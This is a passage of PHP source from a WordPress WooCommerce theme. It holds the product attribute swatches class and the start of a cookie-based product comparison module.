		add_action( 'edit_term', array( $this, 'save_term_meta' ), 10, 2 );
	}

	public function restore_attributes_notice() {
		if ( get_transient( 'penci_attribute_taxonomies' ) && ! get_option( 'penci_restore_attributes_time' ) ) {
			?>
            <div class="notice-warning notice is-dismissible">
                <p>
					<?php
					esc_html_e( 'Found a backup of product attributes types. This backup was generated at', 'soledad' );
					echo ' ' . date( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), get_option( 'penci_backup_attributes_time' ) ) . '.';
					?>
                </p>
                <p>
                    <a href="<?php echo esc_url( add_query_arg( array(
						'penci_action' => 'restore_attributes_types',
						'penci_nonce'  => wp_create_nonce( 'restore_attributes_types' )
					) ) ); ?>">
                        <strong><?php esc_html_e( 'Restore product attributes types', 'soledad' ); ?></strong>
                    </a>
                    |
                    <a href="<?php echo esc_url( add_query_arg( array(
						'penci_action' => 'dismiss_restore_notice',
						'penci_nonce'  => wp_create_nonce( 'dismiss_restore_notice' )
					) ) ); ?>">
                        <strong><?php esc_html_e( 'Dismiss this notice', 'soledad' ); ?></strong>
                    </a>
                </p>
            </div>
			<?php
		} elseif ( isset( $_GET['penci_message'] ) && 'restored' == $_GET['penci_message'] ) {
			?>
            <div class="notice-warning settings-error notice is-dismissible">
                <p><?php esc_html_e( 'All attributes types have been restored.', 'soledad' ) ?></p>
            </div>
			<?php
		}
	}

	public function restore_attribute_types() {
		if ( ! isset( $_GET['penci_action'] ) || ! isset( $_GET['penci_nonce'] ) ) {
			return;
		}

		if ( ! wp_verify_nonce( $_GET['penci_nonce'], $_GET['penci_action'] ) ) {
			return;
		}

		if ( 'restore_attributes_types' == $_GET['penci_action'] ) {
			global $wpdb;

			$attribute_taxnomies = get_transient( 'penci_attribute_taxonomies' );

			foreach ( $attribute_taxnomies as $id => $attribute ) {
				$wpdb->update(
					$wpdb->prefix . 'woocommerce_attribute_taxonomies',
					array( 'attribute_type' => $attribute->attribute_type ),
					array( 'attribute_id' => $id ),
					array( '%s' ),
					array( '%d' )
				);
			}

			update_option( 'penci_restore_attributes_time', time() );
			delete_transient( 'penci_attribute_taxonomies' );
			delete_transient( 'wc_attribute_taxonomies' );

			$url = remove_query_arg( array( 'penci_action', 'penci_nonce' ) );
			$url = add_query_arg( array( 'penci_message' => 'restored' ), $url );
		} elseif ( 'dismiss_restore_notice' == $_GET['penci_action'] ) {
			update_option( 'penci_restore_attributes_time', 'ignored' );
			$url = remove_query_arg( array( 'penci_action', 'penci_nonce' ) );
		}

		if ( isset( $url ) ) {
			wp_redirect( $url );
			exit;
		}
	}

	public function add_attribute_fields( $taxonomy ) {
		$attr = $this->get_tax_attribute( $taxonomy );

		do_action( 'penci_product_attribute_field', $attr->attribute_type, '', 'add' );
	}

	public function get_tax_attribute( $taxonomy ) {
		global $wpdb;

		$attr = substr( $taxonomy, 3 );
		$attr = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM " . $wpdb->prefix . "woocommerce_attribute_taxonomies WHERE attribute_name = %s", $attr ) );

		return $attr;
	}

	public function edit_attribute_fields( $term, $taxonomy ) {
		$attr  = $this->get_tax_attribute( $taxonomy );
		$value = get_term_meta( $term->term_id, $attr->attribute_type, true );

		do_action( 'penci_product_attribute_field', $attr->attribute_type, $value, 'edit' );
	}

	public function attribute_fields( $type, $value, $form ) {
		if ( in_array( $type, array( 'select', 'text' ) ) ) {
			return;
		}

		printf(
			'<%s class="form-field">%s<label for="term-%s">%s</label>%s',
			'edit' == $form ? 'tr' : 'div',
			'edit' == $form ? '<th>' : '',
			esc_attr( $type ),
			$this->types[ $type ],
			'edit' == $form ? '</th><td>' : ''
		);

		switch ( $type ) {
			case 'image':
				$image = $value ? wp_get_attachment_image_src( $value ) : '';
				$image = $image ? $image[0] : WC()->plugin_url() . '/assets/images/placeholder.png';
				?>
                <div class="penci-term-image-thumbnail" style="float:left;margin-right:10px;">
                    <img alt="" src="<?php echo esc_url( $image ) ?>" width="60px" height="60px"/>
                </div>
                <div style="line-height:60px;">
                    <input type="hidden" class="penci-term-image" name="image"
                           value="<?php echo esc_attr( $value ) ?>"/>
                    <button type="button"
                            class="penci-upload-image-button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                    <button type="button"
                            class="penci-remove-image-button button <?php echo $value ? '' : 'hidden' ?>"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
                </div>
				<?php
				break;

			default:
				?>
                <input type="text" id="term-<?php echo esc_attr( $type ) ?>" name="<?php echo esc_attr( $type ) ?>"
                       value="<?php echo esc_attr( $value ) ?>"/>
				<?php
				break;
		}

		echo 'edit' == $form ? '</td></tr>' : '</div>';
	}

	public function save_term_meta( $term_id, $tt_id ) {
		foreach ( $this->types as $type => $label ) {
			if ( isset( $_POST[ $type ] ) ) {
				update_term_meta( $term_id, $type, sanitize_text_field( $_POST[ $type ] ) );
			}
		}
	}

	public function add_attribute_columns( $columns ) {
		$new_columns          = array();
		$new_columns['cb']    = isset( $columns['cb'] ) && $columns['cb'] ? $columns['cb'] : 2;
		$new_columns['thumb'] = '';
		unset( $columns['cb'] );

		return array_merge( $new_columns, $columns );
	}

	public function add_attribute_column_content( $columns, $column, $term_id ) {
		if ( 'thumb' !== $column ) {
			return $columns;
		}

		$attr  = $this->get_tax_attribute( $_REQUEST['taxonomy'] );
		$value = get_term_meta( $term_id, $attr->attribute_type, true );

		switch ( $attr->attribute_type ) {
			case 'color':
				printf( '<div class="swatch-preview swatch-color" style="background-color:%s;"></div>', esc_attr( $value ) );
				break;

			case 'image':
				$image = $value ? wp_get_attachment_image_src( $value ) : '';
				$image = $image ? $image[0] : WC()->plugin_url() . '/assets/images/placeholder.png';
				printf( '<img class="swatch-preview swatch-image" src="%s" width="44px" height="44px">', esc_url( $image ) );
				break;

			case 'label':
				printf( '<div class="swatch-preview swatch-label">%s</div>', esc_html( $value ) );
				break;
		}
	}

	public function get_swatch_html( $html, $args ) {
		$swatch_types = $this->types;
		$attr         = $this->get_tax_attribute( $args['attribute'] );

		// Return if this is normal attribute
		if ( empty( $attr ) ) {
			return $html;
		}

		if ( ! array_key_exists( $attr->attribute_type, $swatch_types ) ) {
			return $html;
		}

		$options   = $args['options'];
		$product   = $args['product'];
		$attribute = $args['attribute'];
		$class     = "variation-selector variation-select-{$attr->attribute_type}";
		$swatches  = '';

		// Add new option for tooltip to $args variable.
		$args['tooltip'] = wc_string_to_bool( get_option( 'penci_enable_tooltip', 'yes' ) );

		if ( empty( $options ) && ! empty( $product ) && ! empty( $attribute ) ) {
			$attributes = $product->get_variation_attributes();
			$options    = $attributes[ $attribute ];
		}

		if ( array_key_exists( $attr->attribute_type, $swatch_types ) ) {
			if ( ! empty( $options ) && $product && taxonomy_exists( $attribute ) ) {
				// Get terms if this is a taxonomy - ordered. We need the names too.
				$terms = wc_get_product_terms( $product->get_id(), $attribute, array( 'fields' => 'all' ) );

				foreach ( $terms as $term ) {
					if ( in_array( $term->slug, $options ) ) {
						$swatches .= apply_filters( 'penci_swatch_html', '', $term, $attr->attribute_type, $args );
					}
				}
			}

			if ( ! empty( $swatches ) ) {
				$class    .= ' hidden';
				$swatches = '<div class="penci-swatches" data-attribute_name="attribute_' . esc_attr( $attribute ) . '">' . $swatches . '</div>';
				$html     = '<div class="' . esc_attr( $class ) . '">' . $html . '</div>' . $swatches;
			}
		}

		return $html;
	}

	public function swatch_html( $html, $term, $type, $args ) {
		$selected = sanitize_title( $args['selected'] ) == $term->slug ? 'selected' : '';
		$name     = esc_html( apply_filters( 'woocommerce_variation_option_name', $term->name ) );
		$tooltip  = '';

		if ( ! empty( $args['tooltip'] ) ) {
			$tooltip = '<span class="swatch__tooltip">' . ( $term->description ? $term->description : $name ) . '</span>';
		}

		switch ( $type ) {
			case 'color':
				$color = get_term_meta( $term->term_id, 'color', true );
				list( $r, $g, $b ) = sscanf( $color, "#%02x%02x%02x" );
				$html = sprintf(
					'<span class="swatch swatch-color swatch-%s %s" style="background-color:%s;color:%s;" data-value="%s">%s%s</span>',
					esc_attr( $term->slug ),
					$selected,
					esc_attr( $color ),
					"rgba($r,$g,$b,0.5)",
					esc_attr( $term->slug ),
					$name,
					$tooltip
				);
				break;

			case 'image':
				$image = get_term_meta( $term->term_id, 'image', true );
				$image = $image ? wp_get_attachment_image_src( $image ) : '';
				$image = $image ? $image[0] : WC()->plugin_url() . '/assets/images/placeholder.png';
				$html  = sprintf(
					'<span class="swatch swatch-image swatch-%s %s" data-value="%s"><img src="%s" alt="%s">%s%s</span>',
					esc_attr( $term->slug ),
					$selected,
					esc_attr( $term->slug ),
					esc_url( $image ),
					esc_attr( $name ),
					$name,
					$tooltip
				);
				break;

			case 'label':
				$label = get_term_meta( $term->term_id, 'label', true );
				$label = $label ? $label : $name;
				$html  = sprintf(
					'<span class="swatch swatch-label swatch-%s %s" data-value="%s">%s%s</span>',
					esc_attr( $term->slug ),
					$selected,
					esc_attr( $term->slug ),
					esc_html( $label ),
					$tooltip
				);
				break;
		}

		return $html;
	}

	public function product_option_terms( $taxonomy, $index ) {
		if ( ! array_key_exists( $taxonomy->attribute_type, $this->types ) ) {
			return;
		}

		$taxonomy_name = wc_attribute_taxonomy_name( $taxonomy->attribute_name );
		global $thepostid;

		$product_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : $thepostid;
		?>

        <select multiple="multiple" data-placeholder="<?php esc_attr_e( 'Select terms', 'soledad' ); ?>"
                class="multiselect attribute_values wc-enhanced-select"
                name="attribute_values[<?php echo $index; ?>][]">
			<?php

			$all_terms = get_terms( $taxonomy_name, apply_filters( 'woocommerce_product_attribute_terms', array(
				'orderby'    => 'name',
				'hide_empty' => false
			) ) );
			if ( $all_terms ) {
				foreach ( $all_terms as $term ) {
					echo '<option value="' . esc_attr( $term->term_id ) . '" ' . selected( has_term( absint( $term->term_id ), $taxonomy_name, $product_id ), true, false ) . '>' . esc_attr( apply_filters( 'woocommerce_product_attribute_term_name', $term->name, $term ) ) . '</option>';
				}
			}
			?>
        </select>
        <button class="button plus select_all_attributes"><?php esc_html_e( 'Select all', 'soledad' ); ?></button>
        <button class="button minus select_no_attributes"><?php esc_html_e( 'Select none', 'soledad' ); ?></button>
        <button class="button fr plus penci_add_new_attribute"
                data-type="<?php echo $taxonomy->attribute_type ?>"><?php esc_html_e( 'Add new', 'soledad' ); ?></button>

		<?php
	}

	public function add_new_attribute_ajax() {
		$nonce  = isset( $_POST['nonce'] ) ? $_POST['nonce'] : '';
		$tax    = isset( $_POST['taxonomy'] ) ? sanitize_text_field( $_POST['taxonomy'] ) : '';
		$type   = isset( $_POST['type'] ) ? sanitize_text_field( $_POST['type'] ) : '';
		$name   = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : '';
		$slug   = isset( $_POST['slug'] ) ? sanitize_text_field( $_POST['slug'] ) : '';
		$swatch = isset( $_POST['swatch'] ) ? sanitize_text_field( $_POST['swatch'] ) : '';

		if ( ! wp_verify_nonce( $nonce, '_penci_create_attribute' ) ) {
			wp_send_json_error( esc_html__( 'Wrong request', 'soledad' ) );
		}

		if ( empty( $name ) || empty( $swatch ) || empty( $tax ) || empty( $type ) ) {
			wp_send_json_error( esc_html__( 'Not enough data', 'soledad' ) );
		}

		if ( ! taxonomy_exists( $tax ) ) {
			wp_send_json_error( esc_html__( 'Taxonomy is not exists', 'soledad' ) );
		}

		if ( term_exists( $_POST['name'], $_POST['tax'] ) ) {
			wp_send_json_error( esc_html__( 'This term is exists', 'soledad' ) );
		}

		$term = wp_insert_term( $name, $tax, array( 'slug' => $slug ) );

		if ( is_wp_error( $term ) ) {
			wp_send_json_error( $term->get_error_message() );
		} else {
			$term = get_term_by( 'id', $term['term_id'], $tax );
			update_term_meta( $term->term_id, $type, $swatch );
		}

		wp_send_json_success(
			array(
				'msg'  => esc_html__( 'Added successfully', 'soledad' ),
				'id'   => $term->term_id,
				'slug' => $term->slug,
				'name' => $term->name,
			)
		);
	}

	public function add_attribute_term_template() {
		global $pagenow, $post;

		if ( $pagenow != 'post.php' || ( isset( $post ) && get_post_type( $post->ID ) != 'product' ) ) {
			return;
		}
		?>

        <div id="penci-modal-container" class="penci-modal-container">
            <div class="penci-modal">
                <button type="button" class="button-link media-modal-close penci-modal-close">
                    <span class="media-modal-icon"></span></button>
                <div class="penci-modal-header"><h2><?php esc_html_e( 'Add new term', 'soledad' ) ?></h2></div>
                <div class="penci-modal-content">
                    <p class="penci-term-name">
                        <label>
							<?php esc_html_e( 'Name', 'soledad' ) ?>
                            <input type="text" class="widefat penci-input" name="name">
                        </label>
                    </p>
                    <p class="penci-term-slug">
                        <label>
							<?php esc_html_e( 'Slug', 'soledad' ) ?>
                            <input type="text" class="widefat penci-input" name="slug">
                        </label>
                    </p>
                    <div class="penci-term-swatch">

                    </div>
                    <div class="hidden penci-term-tax"></div>

                    <input type="hidden" class="penci-input" name="nonce"
                           value="<?php echo wp_create_nonce( '_penci_create_attribute' ) ?>">
                </div>
                <div class="penci-modal-footer">
                    <button class="button button-secondary penci-modal-close"><?php esc_html_e( 'Cancel', 'soledad' ) ?></button>
                    <button class="button button-primary penci-new-attribute-submit"><?php esc_html_e( 'Add New', 'soledad' ) ?></button>
                    <span class="message"></span>
                    <span class="spinner"></span>
                </div>
            </div>
            <div class="penci-modal-backdrop media-modal-backdrop"></div>
        </div>

        <script type="text/template" id="tmpl-penci-input-color">

            <label><?php echo penci_woo_translate_text( 'penci_woo_trans_color' ); ?></label><br>
            <input type="text" class="penci-input penci-input-color" name="swatch">

        </script>

        <script type="text/template" id="tmpl-penci-input-image">

            <label><?php penci_woo_translate_text( 'penci_woo_trans_image' ); ?></label><br>
            <div class="penci-term-image-thumbnail" style="float:left;margin-right:10px;">
                <img alt="" src="<?php echo esc_url( WC()->plugin_url() . '/assets/images/placeholder.png' ) ?>" width="60px"
                     height="60px"/>
            </div>
            <div style="line-height:60px;">
                <input type="hidden" class="penci-input penci-input-image penci-term-image" name="swatch" value=""/>
                <button type="button"
                        class="penci-upload-image-button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                <button type="button"
                        class="penci-remove-image-button button hidden"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
            </div>

        </script>

        <script type="text/template" id="tmpl-penci-input-label">

            <label>
				<?php esc_html_e( 'Label', 'soledad' ) ?>
                <input type="text" class="widefat penci-input penci-input-label" name="swatch">
            </label>

        </script>

        <script type="text/template" id="tmpl-penci-input-tax">

            <input type="hidden" class="penci-input" name="taxonomy" value="{{data.tax}}">
            <input type="hidden" class="penci-input" name="type" value="{{data.type}}">

        </script>
		<?php
	}

	public function product_swatches_list() {
		global $product;


		$id             = $product->get_id();
		$attribute_name = penci_get_single_product_meta( $id, 'product_extra_options', 'grid_swatch', get_theme_mod( 'penci_woocommerce_grid_swatch' ) );
		if ( empty( $id ) || ! $product->is_type( 'variable' ) ) {
			return false;
		}

		if ( ! $attribute_name ) {
			$attribute_name = 'pa_color';
		}

		if ( empty( $attribute_name ) ) {
			return false;
		}

		// Swatches cache
		$cache          = get_theme_mod( 'penci_woocommerce_grid_swatch_cache', true );
		$transient_name = 'penci_loop_swatches_cache_' . $id;

		if ( $cache ) {
			$available_variations = get_transient( $transient_name );
		} else {
			$available_variations = array();
		}

		if ( ! $available_variations ) {
			$available_variations = $product->get_available_variations();
			if ( $cache ) {
				set_transient( $transient_name, $available_variations, apply_filters( 'penci_swatches_cache_time', WEEK_IN_SECONDS ) );
			}
		}

		if ( empty( $available_variations ) ) {
			return false;
		}

		$swatches_to_show = $this->get_option_variations( $attribute_name, $available_variations, false, $id );

		if ( empty( $swatches_to_show ) ) {
			return false;
		}
		$out = '';

		$out .= '<div class="penci-swatches-list swatches-select">';

		if ( apply_filters( 'penci_swatches_on_grid_right_order', true ) ) {
			$terms = wc_get_product_terms( $product->get_id(), $attribute_name, array( 'fields' => 'slugs' ) );

			$swatches_to_show_tmp = $swatches_to_show;

			$swatches_to_show = array();

			foreach ( $terms as $id => $slug ) {
				if ( ! isset( $swatches_to_show_tmp[ $slug ] ) ) {
					continue;
				}
				$swatches_to_show[ $slug ] = $swatches_to_show_tmp[ $slug ];
			}
		}

		$index    = 0;
		$img_size = wc_get_loop_prop( 'img_size', 'woocommerce_thumbnail' );

		foreach ( $swatches_to_show as $key => $swatch ) {
			$style = $class = '';
			$term  = get_term_by( 'slug', $key, $attribute_name );

			$swatch_limit                  = get_theme_mod( 'penci_woocommerce_grid_swatch_limit', 3 );
			$swatches_limit                = true;
			$swatches_use_variation_images = false;
			if ( $swatches_limit && count( $swatches_to_show ) > (int) $swatch_limit ) {
				if ( $index >= $swatch_limit ) {
					$class .= ' hidden';
				}
				if ( $index === (int) $swatch_limit ) {
					$out .= '<div class="penci-swatches-divider">+' . ( count( $swatches_to_show ) - (int) $swatch_limit ) . '</div>';
				}
			}

			$index ++;

			if ( ! empty( $swatch['color'] ) ) {
				$style = 'background-color:' . $swatch['color'];
				$class .= ' swatch-with-bg';
			} elseif ( $swatches_use_variation_images && isset( $swatch['image_src'] ) ) {
				$thumb = wp_get_attachment_image_src( get_post_thumbnail_id( $swatch['variation_id'] ), $img_size );
				if ( ! empty( $thumb ) ) {
					$style = 'background-image: url(' . $thumb[0] . ')';
					$class .= ' swatch-with-bg bg-image penci-tooltip';
				}
			} elseif ( ! empty( $swatch['image'] ) ) {
				$style = 'background-image: url(' . wp_get_attachment_image_url( $swatch['image'], 'thumbnail' ) . ')';
				$class .= ' swatch-with-bg bg-image';
			} elseif ( ! empty( $swatch['not_dropdown'] ) ) {
				$class .= ' text-only ';
			} elseif ( ! empty( $swatch['label'] ) ) {
				$class .= ' label ';
			} else {
				$class      .= ' no-user-swatch ';
				$label_text = strtolower( $term->slug );
				if ( penci_product_is_color_name( $label_text ) ) {
					$class .= ' has-define-bg-color swatch-with-bg ';
					$style = 'background-color:' . $label_text;
				}
			}

			$style .= ';';

			$data = '';

			if ( isset( $swatch['image_src'] ) ) {
				$data .= 'data-image-src="' . $swatch['image_src'] . '"';
				$data .= ' data-image-srcset="' . $swatch['image_srcset'] . '"';
				$data .= ' data-image-sizes="' . $swatch['image_sizes'] . '"';

				if ( ! $swatch['is_in_stock'] ) {
					$class .= ' variation-out-of-stock';
				}
			}


			$out .= '<div data-tippy-content="' . $term->name . '" class="penci-swatch-item penci-swatch penci-tooltip' . esc_attr( $class ) . '" style="' . esc_attr( $style ) . '" ' . $data . '>' . $term->name . '</div>';
		}

		$out .= '</div>';

		echo $out;

	}

	public function get_option_variations( $attribute_name, $available_variations, $option = false, $product_id = false ) {
		$swatches_to_show = array();
		$img_size         = wc_get_loop_prop( 'img_size', 'woocommerce_thumbnail' );
		foreach ( $available_variations as $key => $variation ) {
			$option_variation = array();
			$attr_key         = 'attribute_' . $attribute_name;
			if ( ! isset( $variation['attributes'][ $attr_key ] ) ) {
				return;
			}


			$val = $variation['attributes'][ $attr_key ];

			if ( ! empty( $variation['image_id'] ) ) {
				$option_variation = array(
					'variation_id' => $variation['variation_id'],
					'is_in_stock'  => $variation['is_in_stock'],
					'image_src'    => wp_get_attachment_image_url( $variation['image_id'], $img_size ),
					'image_srcset' => wp_get_attachment_image_srcset( $variation['image_id'], $img_size ),
					'image_sizes'  => $variation['image']['sizes'],
				);
			}

			// Get only one variation by attribute option value
			if ( $option ) {
				if ( $val != $option ) {
					continue;
				} else {
					return $option_variation;
				}
			} else {
				// Or get all variations with swatches to show by attribute name
				$swatch                   = $this->has_swatch( $product_id, $attribute_name, $val );
				$swatches_to_show[ $val ] = array_merge( $swatch, $option_variation );

			}
		}

		return $swatches_to_show;

	}

	public function has_swatch( $id, $attr_name, $value ) {
		$swatches = array();

		$color = $image = $label = '';

		$term = get_term_by( 'slug', $value, $attr_name );
		if ( is_object( $term ) ) {
			$color = get_term_meta( $term->term_id, 'color', true );
			$image = get_term_meta( $term->term_id, 'image', true );
			$label = get_term_meta( $term->term_id, 'label', true );
		}

		if ( $color != '' ) {
			$swatches['color'] = $color;
		}

		if ( $image != '' ) {
			$swatches['image'] = $image;
		}

		if ( $label != '' ) {
			$swatches['label'] = $label;
		}

		return $swatches;
	}

	public function deleted_transitent( $post ) {
		$transient_name = 'penci_loop_swatches_cache_' . $post;
		delete_transient( $transient_name );
	}

	public function preload_icon() {
		echo '<div class="penci-image-loader"></div>';
	}

}

$penci_product_swatches = new penci_product_swatches();
PK     N\pN  pN  #  inc/woocommerce/modules/compare.phpnu [        <?php

class penci_product_compare {

	private $save_compare = '';

	function __construct() {

		add_action( 'wp_ajax_nopriv_penci_add_to_compare', array( $this, 'add_to_compare' ) );
		add_action( 'wp_ajax_penci_add_to_compare', array( $this, 'add_to_compare' ) );

		if ( get_theme_mod( 'penci_woocommerce_compare_show', true ) ) {
			add_action( 'penci_loop_product_buttons', array( $this, 'compare_button' ) );
		}

		add_action( 'penci_single_product_extra_buttons', array( $this, 'compare_button' ), 10 );
		$this->save_compare = 'penci_compare_products';

		if ( is_multisite() ) {
			$this->save_compare .= '_' . get_current_blog_id();
		}

		add_shortcode( 'penci_compare_table', array( $this, 'compare_table_shortcode' ) );
		add_action( 'penci_current_compare', array( $this, 'compare_header_menu' ) );

		add_action( 'penci_header_extra_icons', array( $this, 'compare_header_item' ), 10 );

		add_action( 'admin_notices', array( $this, 'admin_notice' ), 85 );

		add_action( 'penci_footer_nav_compare_item', array( $this, 'compare_footer_nav' ) );

		add_filter( 'display_post_states', array( $this, 'admin_compare_post_state' ), 10, 2 );

		add_filter( 'the_content', array( $this, 'compare_page_content' ) );
	}

	public function compare_header_item() {
		get_template_part( 'woocommerce/header/compare-icon' );
	}

	public function compare_footer_nav() {
		echo '<span class="current-item">' . $this->compare_header_menu( true ) . '</span>';
	}

	public function compare_header_menu( $return = false ) {
		$compare_item  = $this->get_compare_item( $this->save_compare );
		$compare_count = 0;

		if ( $compare_item ) {
			$compare_check = get_posts(
				array(
					'post_type'      => 'product',
					'posts_per_page' => - 1,
					'post__in'       => $compare_item,
				)
			);
			$compare_count = count( $compare_check );
		}

		if ( $return ) {
			return $compare_count;
		} else {
			echo $compare_count;
		}
	}

	public function get_compare_item( $name ) {
		$items = $this->get_cookie( $name );
		$items = unserialize( base64_decode( $items ), array( 'allowed_classes' => false ) );
		if ( isset( $items ) && $items ) {
			return $items;
		} else {
			return false;
		}
	}

	public function get_cookie( $name ) {
		return isset( $_COOKIE[ $name ] ) ? sanitize_text_field( wp_unslash( $_COOKIE[ $name ] ) ) : false;
	}

	public function compare_button() {
		$product_id  = get_the_ID();
		$button_text = penci_woo_translate_text( 'penci_woo_trans_addtocompare' );
		$url         = '?add-to-compare=' . $product_id;
		$class       = '';

		$compare_item = $this->get_compare_item( $this->save_compare );
		if ( $compare_item && in_array( $product_id, $compare_item ) ) {
			$button_text = penci_woo_translate_text( 'penci_woo_trans_viewallcompare' );
			$url         = esc_url( get_page_link( get_theme_mod( 'penci_woocommerce_compare_page' ) ) );
			$class       = ' added';
		}

		echo '<a data-method="add" href="' . $url . '" class="button compare penci-compare' . $class . '" data-pID="' . $product_id . '">' . $button_text . '</a>';
	}

	function add_to_compare() {
		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( 'Nope!' );
		}

		$action          = isset( $_GET['method'] ) ? $_GET['method'] : '';
		$productID       = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';
		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page' );

		$return = array(
			'message' => 'success',
			'url'     => get_home_url(),
		);

		if ( $compare_page_id ) {
			$return['url'] = esc_url( get_page_link( $compare_page_id ) );
		}

		$return['title']     = esc_attr( get_the_title( $productID ) );
		$return['img']       = esc_url( get_the_post_thumbnail_url( $productID, 'woocommerce_gallery_thumbnail' ) );
		$return['item_link'] = esc_url( get_permalink( $productID ) );

		if ( $productID && 'add' == $action ) {
			$this->add_item_to_compare( $this->save_compare, $productID );
			$return['notify'] = sprintf( esc_html__( 'The product %s successfully added to compare table.', 'soledad' ), get_the_title( $productID ) );
		} elseif ( $productID && 'remove' == $action ) {
			$this->remove_item_to_compare( $this->save_compare, $productID );
			$return['notify'] = sprintf( esc_html__( 'The product %s successfully removed to compare table.', 'soledad' ), get_the_title( $productID ) );
		} else {
			$return = array(
				'message' => 'error',
				'url'     => get_home_url(),
			);
		}

		$return['total'] = $this->compare_header_menu( true );

		wp_send_json_success( $return, 200 );
		wp_die();
	}

	public function add_item_to_compare( $name, $value ) {

		$old_save = $this->get_cookie( $name );

		if ( $old_save ) {
			$old_save = unserialize( base64_decode( $old_save ), array( 'allowed_classes' => false ) );

			if ( ! isset( $old_save[ $value ] ) ) {
				$old_save[] = $value;
				$new_save   = base64_encode( serialize( $old_save ) );
				$this->set_cookie( $name, $new_save );
			}
		} else {
			$new_save   = array();
			$new_save[] = $value;
			$this->set_cookie( $name, base64_encode( serialize( $new_save ) ) );
		}
	}

	public function set_cookie( $name, $value ) {
		setcookie( $name, $value, time() + intval( 60 * 60 * 24 * 7 ), COOKIEPATH, COOKIE_DOMAIN, false, false );
		$_COOKIE[ $name ] = $value;
	}

	public function remove_item_to_compare( $name, $value ) {
		$current_compare_items = $this->get_cookie( $name );

		if ( $current_compare_items ) {
			$current_compare_items = unserialize( base64_decode( $current_compare_items ), array( 'allowed_classes' => false ) );

			if ( isset( $current_compare_items ) && $current_compare_items ) {

				if ( ( $key = array_search( $value, $current_compare_items ) ) !== false ) {
					unset( $current_compare_items[ $key ] );
				}

				$this->set_cookie( $name, base64_encode( serialize( $current_compare_items ) ) );
			}
		}
	}

	public function admin_notice() {
		$query['autofocus[section]'] = 'pencidesign_woo_compare_settings';
		$section_link                = add_query_arg( $query, admin_url( 'customize.php' ) );
		if ( get_theme_mod( 'penci_woocommerce_compare', false ) && ! get_theme_mod( 'penci_woocommerce_compare_page' ) ) {
			?>
			<div class="notice notice-warning is-dismissible">
				<p><?php _e( 'Penci Product Compare need to assign the compare page. Please create a new page with <strong>[penci_compare_table]</strong> content shortcode, then go to <a href="' . esc_url( $section_link ) . '">this page</a> to configure.', 'soledad' ); ?></p>
			</div>
			<?php
		}
		if ( get_theme_mod( 'penci_woocommerce_compare', false ) && class_exists( 'YITH_Woocompare' ) ) {
			?>
			<div class="notice notice-error is-dismissible">
				<p><?php _e( 'You\'ve activated the YITH WooCommerce Compare plugin, please go to <a href="' . esc_url( $section_link ) . '">this page</a> to disable default theme Compare.', 'soledad' ); ?></p>
			</div>
			<?php

		}
	}

	public function admin_compare_post_state( $post_states, $post ) {

		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page', false );

		if ( $compare_page_id && $post->ID == $compare_page_id ) {
			$post_states[] = esc_attr__( 'Soledad Compare Product', 'soledad' );
		}

		return $post_states;
	}

	public function compare_page_content( $content ) {
		$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page', false );

		if ( is_page( $compare_page_id ) && empty( $content ) ) {
			$content = $this->compare_table_shortcode();
		}

		return $content;
	}

	public function compare_table_shortcode() {
		ob_start();
		$this->compare_html_table();

		return ob_get_clean();
	}

	public function compare_html_table() {
		$user_fields        = get_theme_mod( 'penci_woocommerce_compare_fields' );
		$user_fields		= ! is_array( $user_fields ) ? explode( ',', $user_fields ) : $user_fields;
		$products           = $this->get_compared_products_data();
		$fields             = $this->get_compare_fields( $user_fields );
		$empty_compare_text = penci_woo_translate_text( 'penci_woocommerce_compare_empty_text' );
		$check_class        = '';
		$total_producs      = count( $products );
		if ( 3 < $total_producs ) {
			$check_class = ' penci-multicompare';
		}
		?>

		<div class="penci-products-compare-table woocommerce<?php echo esc_attr( $check_class ); ?>">
			<?php
			if ( ! empty( $products ) ) {
				array_unshift( $products, array() );
				foreach ( $fields as $field_id => $field ) {
					if ( ! $this->is_products_have_field( $field_id, $products ) ) {
						continue;
					}
					?>
					<div class="penci-compare-row compare-<?php echo esc_attr( $field_id ); ?>">
						<?php
						foreach ( $products as $product_id => $product ) :
							$idtag = isset( $product['id'] ) ? ' data-productid="' . esc_attr( $product['id'] ) . '"' : '';
							?>
							<?php if ( ! empty( $product ) ) : ?>
							<div<?php echo $idtag; ?> class="penci-compare-col compare-value"
														data-title="<?php echo esc_attr( $field ); ?>">
								<?php $this->compare_display_field( $field_id, $product ); ?>
							</div>
						<?php else : ?>
							<div<?php echo $idtag; ?> class="penci-compare-col compare-field">
								<?php echo esc_html( $field ); ?>
							</div>
						<?php endif; ?>

						<?php endforeach ?>
					</div>
					<?php
				}
			} else {
				?>
				<div class="penci-empty-compare penci-empty-page penci-empty-page-text">
					<h3 class="penci-compare-empty-title"><?php echo penci_woo_translate_text( 'penci_woo_trans_compare_empty_title' ); ?></h3>
					<p><?php echo $empty_compare_text; ?></p>
				</div>
				<p class="return-to-shop">
					<a class="button"
						href="<?php echo esc_url( wc_get_page_permalink( 'shop' ) ); ?>">
						<?php echo penci_woo_translate_text( 'penci_woo_trans_returnshop' ); ?>
					</a>
				</p>
				<?php
			}

			?>
		</div>

		<?php
	}

	public function get_compared_products_data() {
		$ids = $this->get_compare_item( $this->save_compare );

		if ( empty( $ids ) ) {
			return array();
		}

		$args = array(
			'include' => $ids,
			'limit'   => 100,
		);

		$products = wc_get_products( $args );

		$products_data = array();

		$user_fields = get_theme_mod( 'penci_woocommerce_compare_fields' );
		$fields      = $this->get_compare_fields( $user_fields );

		$fields = array_filter(
			$fields,
			function ( $field ) {
				return 'pa_' === substr( $field, 0, 3 );
			},
			ARRAY_FILTER_USE_KEY
		);

		$divider = '-';

		foreach ( $products as $product ) {
			$rating_count = $product->get_rating_count();
			$average      = $product->get_average_rating();

			$products_data[ $product->get_id() ] = array(
				'basic'        => array(
